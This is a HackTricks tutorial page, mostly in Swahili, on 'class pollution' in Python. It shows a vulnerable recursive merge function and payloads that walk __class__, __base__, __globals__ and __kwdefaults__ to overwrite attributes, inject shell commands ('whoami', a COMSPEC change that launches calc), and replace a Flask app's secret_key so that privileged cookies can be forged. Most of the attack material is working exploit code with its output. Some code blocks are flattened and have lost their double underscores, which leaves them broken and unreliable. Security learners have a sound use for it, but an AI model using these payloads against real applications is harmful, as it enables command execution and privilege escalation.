Class Pollution (Python's Prototype Pollution)
Last updated
Last updated
Jifunze na zoezi la Udukuzi wa AWS:Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE) Jifunze na zoezi la Udukuzi wa GCP: Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)
Angalia mpango wa usajili!
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.
Angalia jinsi inavyowezekana kuchafua darasa la vitu na herufi:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary>Kuchafua darasa zingine na vars za ulimwengu kupitia <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Kuandika upya <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** ni sifa maalum ya kazi zote, kulingana na [hati ya Python](https://docs.python.org/3/library/inspect.html), ni "ramani ya thamani za chaguo-msingi kwa vigezo vya **maneno-pekee**". Kuchafua sifa hii inaruhusu sisi kudhibiti thamani za chaguo-msingi za vigezo vya maneno-pekee vya kazi, hivi ni vigezo vya kazi vinavyokuja baada ya \* au \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Kwa hivyo, ikiwa unaweza kufanya uchafuzi wa darasa juu ya kitu kilichoelezwa kwenye faili kuu ya python ya wavuti lakini ambayo darasa lake limefafanuliwa kwenye faili tofauti kuliko ile kuu. Kwa sababu ili kupata __globals__ katika mizigo iliyopita unahitaji kupata darasa la kitu au njia za darasa, utaweza kupata globals katika faili hiyo, lakini sio kwenye ile kuu. Kwa hivyo, hutaweza kupata kitu cha kawaida cha programu ya Flask kilichoelezea ufunguo wa siri kwenye ukurasa wa msingi:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
Katika hali hii unahitaji kifaa cha kupitia faili ili kufikia faili kuu kupata kipengele cha kimataifa app.secret_key
ili kubadilisha ufunguo wa siri wa Flask na kuweza kupandisha vyeo ukiwa na ufahamu wa ufunguo huu.
Payload kama hii kutoka kwenye andiko hili:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
Tumia mzigo huu wa kubadilisha app.secret_key
(jina katika programu yako linaweza kutofautiana) ili uweze kusaini vidakuzi vya flask vipya na vyenye mamlaka zaidi.
Angalia pia ukurasa ufuatao kwa vifaa vya kusoma tu zaidi:
Python Internal Read GadgetsAngalia mpango wa michango!
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Jifunze & jifunze AWS Hacking:Mafunzo ya HackTricks AWS Red Team Expert (ARTE) Jifunze & jifunze GCP Hacking: Mafunzo ya HackTricks GCP Red Team Expert (GRTE)